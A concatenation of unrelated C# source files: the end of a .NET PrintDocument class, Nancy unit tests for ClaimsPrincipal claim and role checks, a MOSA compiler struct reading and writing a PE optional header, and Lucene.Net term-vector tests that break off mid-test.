protected virtual void OnQueryPageSettings(QueryPageSettingsEventArgs e)
{
if (_queryHandler != null)
_queryHandler(this, e);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.Print"]/*' />
/// <devdoc>
/// <para>
/// Prints the document.
/// </para>
/// </devdoc>
public void Print()
{
PrintController controller = PrintController;
controller.Print(this);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.ToString"]/*' />
/// <internalonly/>
/// <devdoc>
/// <para>
/// Provides some interesting information about the PrintDocument in
/// String form.
/// </para>
/// </devdoc>
public override string ToString()
{
return "[PrintDocument " + DocumentName + "]";
}
}
}
| |
namespace Nancy.Tests.Unit.Security
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using Nancy.Security;
using Xunit;
public class ClaimsPrincipalExtensionsFixture
{
[Fact]
public void Should_return_false_for_authentication_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
// When
var result = user.IsAuthenticated();
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_authentication_if_the_identity_is_anonymous()
{
// Given
ClaimsPrincipal user = new ClaimsPrincipal(new ClaimsIdentity());
// When
var result = user.IsAuthenticated();
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_claim_if_the_claims_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
var requiredClaim = "not-present-claim";
// When
var result = user.HasClaim(c => c.Type == requiredClaim);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_claim_if_the_user_does_not_have_claim()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake", new Claim("present-claim", string.Empty));
var requiredClaim = "not-present-claim";
// When
var result = user.HasClaim(c => c.Type == requiredClaim);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_required_claim_if_the_user_does_have_claim()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake", new Claim("present-claim", string.Empty));
var requiredClaim = "present-claim";
// When
var result = user.HasClaim(c => c.Type == requiredClaim);
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_return_false_for_required_claims_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
var requiredClaims = new[] { "not-present-claim1", "not-present-claim2" };
// When
var result = user.HasClaims(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_claims_if_the_claims_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
var requiredClaims = new[] { "not-present-claim1", "not-present-claim2" };
// When
var result = user.HasClaims(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_claims_if_the_user_does_not_have_all_claims()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
var requiredClaims = new Predicate<Claim>[]
{
c => c.Type == "present-claim1",
c => c.Type == "not-present-claim1"
};
// When
var result = user.HasClaims(requiredClaims);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_required_claims_if_the_user_does_have_all_claims()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
var requiredClaims = new Predicate<Claim>[]
{
c => c.Type == "present-claim1",
c => c.Type == "present-claim2"
};
// When
var result = user.HasClaims(requiredClaims);
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_return_false_for_any_required_claim_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
var requiredClaims = new[] { "not-present-claim1", "not-present-claim2" };
// When
var result = user.HasAnyClaim(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_any_required_claim_if_the_claims_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
var requiredClaims = new[] { "not-present-claim1", "not-present-claim2" };
// When
var result = user.HasAnyClaim(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_any_required_claim_if_the_user_does_not_have_any_claim()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
var requiredClaims = new[] { "not-present-claim1", "not-present-claim2" };
// When
var result = user.HasAnyClaim(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_any_required_claim_if_the_user_does_have_any_of_claim()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
var requiredClaims = new[] { "present-claim1", "not-present-claim1" };
// When
var result = user.HasAnyClaim(c => requiredClaims.Contains(c.Type));
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_return_false_for_valid_claim_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
Func<IEnumerable<Claim>, bool> isValid = claims => true;
// When
var result = user.HasValidClaims(isValid);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_valid_claim_if_the_validation_fails()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
Func<IEnumerable<Claim>, bool> isValid = claims => false;
// When
var result = user.HasValidClaims(isValid);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_valid_claim_if_the_validation_succeeds()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim("present-claim1", string.Empty),
new Claim("present-claim2", string.Empty),
new Claim("present-claim3", string.Empty));
Func<IEnumerable<Claim>, bool> isValid = claims => true;
// When
var result = user.HasValidClaims(isValid);
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_call_validation_with_users_claims()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
IEnumerable<Claim> validatedClaims = null;
Func<IEnumerable<Claim>, bool> isValid = claims =>
{
// store passed claims for testing assertion
validatedClaims = claims;
return true;
};
// When
user.HasValidClaims(isValid);
// Then
validatedClaims.ShouldEqualSequence(user.Claims);
}
[Fact]
public void Should_return_false_for_required_role_if_the_roles_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
var requiredRole = "not-present-role";
// When
var result = user.IsInRole(requiredRole);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_role_if_the_user_does_not_have_role()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake", new Claim(ClaimTypes.Role, string.Empty));
var requiredRole = "not-present-role";
// When
var result = user.IsInRole(requiredRole);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_required_role_if_the_user_does_have_role()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake", new Claim(ClaimTypes.Role, "present-role"));
var requiredRole = "present-role";
// When
var result = user.IsInRole(requiredRole);
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_return_false_for_required_roles_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
var requiredRoles = new string[] { "not-present-role1", "not-present-role2" };
// When
var result = user.IsInRoles(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_roles_if_the_roles_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
string[] requiredRoles = null;
// When
var result = user.IsInRoles(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_required_roles_if_the_user_does_not_have_all_roles()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim(ClaimTypes.Role, "present-role1"),
new Claim(ClaimTypes.Role, "present-role2"),
new Claim(ClaimTypes.Role, "present-role3"));
var requiredRoles = new string[]
{
"present-role1",
"not-present-role1"
};
// When
var result = user.IsInRoles(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_required_roles_if_the_user_does_have_all_roles()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim(ClaimTypes.Role, "present-role1"),
new Claim(ClaimTypes.Role, "present-role2"),
new Claim(ClaimTypes.Role, "present-role3"));
var requiredRoles = new string[]
{
"present-role1",
"present-role2"
};
// When
var result = user.IsInRoles(requiredRoles);
// Then
result.ShouldBeTrue();
}
[Fact]
public void Should_return_false_for_any_required_role_if_the_user_is_null()
{
// Given
ClaimsPrincipal user = null;
var requiredRoles = new string[] { "not-present-role1", "not-present-role2" };
// When
var result = user.IsInAnyRole(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_any_required_role_if_the_roles_are_null()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake");
string[] requiredRoles = null;
// When
var result = user.IsInAnyRole(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_false_for_any_required_role_if_the_user_does_not_have_any_role()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim(ClaimTypes.Role, "present-role1"),
new Claim(ClaimTypes.Role, "present-role2"),
new Claim(ClaimTypes.Role, "present-role3"));
var requiredRoles = new string[] { "not-present-role1", "not-present-role2" };
// When
var result = user.IsInAnyRole(requiredRoles);
// Then
result.ShouldBeFalse();
}
[Fact]
public void Should_return_true_for_any_required_role_if_the_user_does_have_any_of_role()
{
// Given
ClaimsPrincipal user = GetFakeUser("Fake",
new Claim(ClaimTypes.Role, "present-role1"),
new Claim(ClaimTypes.Role, "present-role2"),
new Claim(ClaimTypes.Role, "present-role3"));
var requiredRoles = new string[] { "present-role1", "not-present-role1" };
// When
var result = user.IsInAnyRole(requiredRoles);
// Then
result.ShouldBeTrue();
}
private static ClaimsPrincipal GetFakeUser(string userName, params Claim[] claims)
{
var claimsList = (claims ?? Enumerable.Empty<Claim>()).ToList();
claimsList.Add(new Claim(ClaimTypes.NameIdentifier, userName));
return new ClaimsPrincipal(new ClaimsIdentity(claimsList));
}
}
}
| |
// Copyright (c) MOSA Project. Licensed under the New BSD License.
using Mosa.Compiler.Common;
using System;
namespace Mosa.Compiler.LinkerFormat.PE
{
/// <summary>
/// Structure of the optional header in a portable executable file.
/// </summary>
public struct ImageOptionalHeader
{
#region Constants
/// <summary>
/// The number of directory entries.
/// </summary>
public const int IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
/// <summary>
/// The magic value at the start of the optional header.
/// </summary>
public const ushort IMAGE_OPTIONAL_HEADER_MAGIC = 0x10b;
#endregion Constants
#region Data members
//
// Standard fields.
//
/// <summary>
/// Holds the magic value of the optional header.
/// </summary>
public ushort Magic;
/// <summary>
/// The major version number of the linker.
/// </summary>
public byte MajorLinkerVersion;
/// <summary>
/// The minor version number of the linker.
/// </summary>
public byte MinorLinkerVersion;
/// <summary>
/// The size of the code section in bytes.
/// </summary>
public uint SizeOfCode;
/// <summary>
/// The size of the initialized data section.
/// </summary>
public uint SizeOfInitializedData;
/// <summary>
/// The size of the uninitialized data section.
/// </summary>
public uint SizeOfUninitializedData;
/// <summary>
/// The address of the entry point relative to the load address.
/// </summary>
public uint AddressOfEntryPoint;
/// <summary>
/// The offset from the load address, where the code section starts.
/// </summary>
public uint BaseOfCode;
/// <summary>
/// The offset from the load address, where the data section starts.
/// </summary>
public uint BaseOfData;
//
// NT additional fields.
//
/// <summary>
/// The preferred address of the first byte of the image.
/// </summary>
public uint ImageBase;
/// <summary>
/// The alignment of the sections.
/// </summary>
public uint SectionAlignment;
/// <summary>
/// The file alignment.
/// </summary>
public uint FileAlignment;
/// <summary>
/// The major OS version.
/// </summary>
public ushort MajorOperatingSystemVersion;
/// <summary>
/// The minor OS version.
/// </summary>
public ushort MinorOperatingSystemVersion;
/// <summary>
/// The major image version.
/// </summary>
public ushort MajorImageVersion;
/// <summary>
/// The minor image version.
/// </summary>
public ushort MinorImageVersion;
/// <summary>
/// The major subsystem version.
/// </summary>
public ushort MajorSubsystemVersion;
/// <summary>
/// The minor subsystem version.
/// </summary>
public ushort MinorSubsystemVersion;
/// <summary>
/// Must be zero.
/// </summary>
public uint Win32VersionValue;
/// <summary>
/// The full size of the image.
/// </summary>
public uint SizeOfImage;
/// <summary>
/// The size of the headers.
/// </summary>
public uint SizeOfHeaders;
/// <summary>
/// The checksum of the image.
/// </summary>
public uint CheckSum;
/// <summary>
/// The subsystem to execute the image.
/// </summary>
public ushort Subsystem;
/// <summary>
/// Flags that control DLL characteristics.
/// </summary>
public ushort DllCharacteristics;
/// <summary>
/// The size of the stack reserve.
/// </summary>
public uint SizeOfStackReserve;
/// <summary>
/// The size of the commited stack.
/// </summary>
public uint SizeOfStackCommit;
/// <summary>
/// Size of the heap reserve.
/// </summary>
public uint SizeOfHeapReserve;
/// <summary>
/// Size of the committed heap.
/// </summary>
public uint SizeOfHeapCommit;
/// <summary>
/// Unused. Must be zero.
/// </summary>
public uint LoaderFlags;
/// <summary>
/// Number of data directories.
/// </summary>
public uint NumberOfRvaAndSizes;
/// <summary>
/// Array of data directories after the optional header.
/// </summary>
public ImageDataDirectory[] DataDirectory;
#endregion Data members
#region Methods
/// <summary>
/// Loads the header from the reader.
/// </summary>
/// <param name="reader">The reader.</param>
public void Read(EndianAwareBinaryReader reader)
{
Magic = reader.ReadUInt16();
if (IMAGE_OPTIONAL_HEADER_MAGIC != Magic)
throw new BadImageFormatException();
MajorLinkerVersion = reader.ReadByte();
MinorLinkerVersion = reader.ReadByte();
SizeOfCode = reader.ReadUInt32();
SizeOfInitializedData = reader.ReadUInt32();
SizeOfUninitializedData = reader.ReadUInt32();
AddressOfEntryPoint = reader.ReadUInt32();
BaseOfCode = reader.ReadUInt32();
BaseOfData = reader.ReadUInt32();
ImageBase = reader.ReadUInt32();
SectionAlignment = reader.ReadUInt32();
FileAlignment = reader.ReadUInt32();
MajorOperatingSystemVersion = reader.ReadUInt16();
MinorOperatingSystemVersion = reader.ReadUInt16();
MajorImageVersion = reader.ReadUInt16();
MinorImageVersion = reader.ReadUInt16();
MajorSubsystemVersion = reader.ReadUInt16();
MinorSubsystemVersion = reader.ReadUInt16();
Win32VersionValue = reader.ReadUInt32();
SizeOfImage = reader.ReadUInt32();
SizeOfHeaders = reader.ReadUInt32();
CheckSum = reader.ReadUInt32();
Subsystem = reader.ReadUInt16();
DllCharacteristics = reader.ReadUInt16();
SizeOfStackReserve = reader.ReadUInt32();
SizeOfStackCommit = reader.ReadUInt32();
SizeOfHeapReserve = reader.ReadUInt32();
SizeOfHeapCommit = reader.ReadUInt32();
LoaderFlags = reader.ReadUInt32();
NumberOfRvaAndSizes = reader.ReadUInt32();
DataDirectory = new ImageDataDirectory[NumberOfRvaAndSizes];
for (int i = 0; i < NumberOfRvaAndSizes; i++)
{
DataDirectory[i].Read(reader);
}
}
/// <summary>
/// Writes the structure to the given writer.
/// </summary>
/// <param name="writer">The writer.</param>
public void Write(EndianAwareBinaryWriter writer)
{
if (writer == null)
throw new ArgumentNullException(@"writer");
writer.Write(Magic);
writer.Write(MajorLinkerVersion);
writer.Write(MinorLinkerVersion);
writer.Write(SizeOfCode);
writer.Write(SizeOfInitializedData);
writer.Write(SizeOfUninitializedData);
writer.Write(AddressOfEntryPoint);
writer.Write(BaseOfCode);
writer.Write(BaseOfData);
writer.Write(ImageBase);
writer.Write(SectionAlignment);
writer.Write(FileAlignment);
writer.Write(MajorOperatingSystemVersion);
writer.Write(MinorOperatingSystemVersion);
writer.Write(MajorImageVersion);
writer.Write(MinorImageVersion);
writer.Write(MajorSubsystemVersion);
writer.Write(MinorSubsystemVersion);
writer.Write(Win32VersionValue);
writer.Write(SizeOfImage);
writer.Write(SizeOfHeaders);
writer.Write(CheckSum);
writer.Write(Subsystem);
writer.Write(DllCharacteristics);
writer.Write(SizeOfStackReserve);
writer.Write(SizeOfStackCommit);
writer.Write(SizeOfHeapReserve);
writer.Write(SizeOfHeapCommit);
writer.Write(LoaderFlags);
writer.Write(NumberOfRvaAndSizes);
foreach (ImageDataDirectory dd in DataDirectory)
dd.Write(writer);
}
#endregion Methods
}
}
| |
using Lucene.Net.Documents;
namespace Lucene.Net.Index
{
using NUnit.Framework;
using System.IO;
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using Analyzer = Lucene.Net.Analysis.Analyzer;
using BytesRef = Lucene.Net.Util.BytesRef;
using CachingTokenFilter = Lucene.Net.Analysis.CachingTokenFilter;
using Directory = Lucene.Net.Store.Directory;
using DocIdSetIterator = Lucene.Net.Search.DocIdSetIterator;
using Document = Documents.Document;
using Field = Field;
using FieldType = FieldType;
using IOUtils = Lucene.Net.Util.IOUtils;
using LuceneTestCase = Lucene.Net.Util.LuceneTestCase;
using MockAnalyzer = Lucene.Net.Analysis.MockAnalyzer;
using MockDirectoryWrapper = Lucene.Net.Store.MockDirectoryWrapper;
using MockTokenFilter = Lucene.Net.Analysis.MockTokenFilter;
using MockTokenizer = Lucene.Net.Analysis.MockTokenizer;
using RAMDirectory = Lucene.Net.Store.RAMDirectory;
using StringField = StringField;
using TextField = TextField;
using TokenStream = Lucene.Net.Analysis.TokenStream;
/// <summary>
/// tests for writing term vectors </summary>
[TestFixture]
public class TestTermVectorsWriter : LuceneTestCase
{
// LUCENE-1442
[Test]
public virtual void TestDoubleOffsetCounting()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(StringField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd", customType);
doc.Add(f);
doc.Add(f);
Field f2 = NewField("field", "", customType);
doc.Add(f2);
doc.Add(f);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
Terms vector = r.GetTermVectors(0).Terms("field");
Assert.IsNotNull(vector);
TermsEnum termsEnum = vector.Iterator(null);
Assert.IsNotNull(termsEnum.Next());
Assert.AreEqual("", termsEnum.Term().Utf8ToString());
// Token "" occurred once
Assert.AreEqual(1, termsEnum.TotalTermFreq());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(8, dpEnum.StartOffset());
Assert.AreEqual(8, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
// Token "abcd" occurred three times
Assert.AreEqual(new BytesRef("abcd"), termsEnum.Next());
dpEnum = termsEnum.DocsAndPositions(null, dpEnum);
Assert.AreEqual(3, termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(4, dpEnum.StartOffset());
Assert.AreEqual(8, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(8, dpEnum.StartOffset());
Assert.AreEqual(12, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
Assert.IsNull(termsEnum.Next());
r.Dispose();
dir.Dispose();
}
// LUCENE-1442
[Test]
public virtual void TestDoubleOffsetCounting2()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd", customType);
doc.Add(f);
doc.Add(f);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(2, termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(5, dpEnum.StartOffset());
Assert.AreEqual(9, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionCharAnalyzer()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd ", customType);
doc.Add(f);
doc.Add(f);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(2, termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(8, dpEnum.StartOffset());
Assert.AreEqual(12, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionWithCachingTokenFilter()
{
Directory dir = NewDirectory();
Analyzer analyzer = new MockAnalyzer(Random());
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, analyzer));
Document doc = new Document();
IOException priorException = null;
TokenStream stream = analyzer.TokenStream("field", new StringReader("abcd "));
try
{
stream.Reset(); // TODO: weird to reset before wrapping with CachingTokenFilter... correct?
TokenStream cachedStream = new CachingTokenFilter(stream);
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = new Field("field", cachedStream, customType);
doc.Add(f);
doc.Add(f);
w.AddDocument(doc);
}
catch (IOException e)
{
priorException = e;
}
finally
{
IOUtils.CloseWhileHandlingException(priorException, stream);
}
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(2, termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(8, dpEnum.StartOffset());
Assert.AreEqual(12, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionStopFilter()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random(), MockTokenizer.SIMPLE, true, MockTokenFilter.ENGLISH_STOPSET)));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd the", customType);
doc.Add(f);
doc.Add(f);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(2, termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
dpEnum.NextPosition();
Assert.AreEqual(9, dpEnum.StartOffset());
Assert.AreEqual(13, dpEnum.EndOffset());
Assert.AreEqual(DocIdSetIterator.NO_MORE_DOCS, dpEnum.NextDoc());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionStandard()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd the ", customType);
Field f2 = NewField("field", "crunch man", customType);
doc.Add(f);
doc.Add(f2);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
Assert.IsNotNull(termsEnum.Next());
dpEnum = termsEnum.DocsAndPositions(null, dpEnum);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(11, dpEnum.StartOffset());
Assert.AreEqual(17, dpEnum.EndOffset());
Assert.IsNotNull(termsEnum.Next());
dpEnum = termsEnum.DocsAndPositions(null, dpEnum);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(18, dpEnum.StartOffset());
Assert.AreEqual(21, dpEnum.EndOffset());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionStandardEmptyField()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "", customType);
Field f2 = NewField("field", "crunch man", customType);
doc.Add(f);
doc.Add(f2);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(1, (int)termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(1, dpEnum.StartOffset());
Assert.AreEqual(7, dpEnum.EndOffset());
Assert.IsNotNull(termsEnum.Next());
dpEnum = termsEnum.DocsAndPositions(null, dpEnum);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(8, dpEnum.StartOffset());
Assert.AreEqual(11, dpEnum.EndOffset());
r.Dispose();
dir.Dispose();
}
// LUCENE-1448
[Test]
public virtual void TestEndOffsetPositionStandardEmptyField2()
{
Directory dir = NewDirectory();
IndexWriter w = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document doc = new Document();
FieldType customType = new FieldType(TextField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
customType.StoreTermVectorPositions = true;
customType.StoreTermVectorOffsets = true;
Field f = NewField("field", "abcd", customType);
doc.Add(f);
doc.Add(NewField("field", "", customType));
Field f2 = NewField("field", "crunch", customType);
doc.Add(f2);
w.AddDocument(doc);
w.Dispose();
IndexReader r = DirectoryReader.Open(dir);
TermsEnum termsEnum = r.GetTermVectors(0).Terms("field").Iterator(null);
Assert.IsNotNull(termsEnum.Next());
DocsAndPositionsEnum dpEnum = termsEnum.DocsAndPositions(null, null);
Assert.AreEqual(1, (int)termsEnum.TotalTermFreq());
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
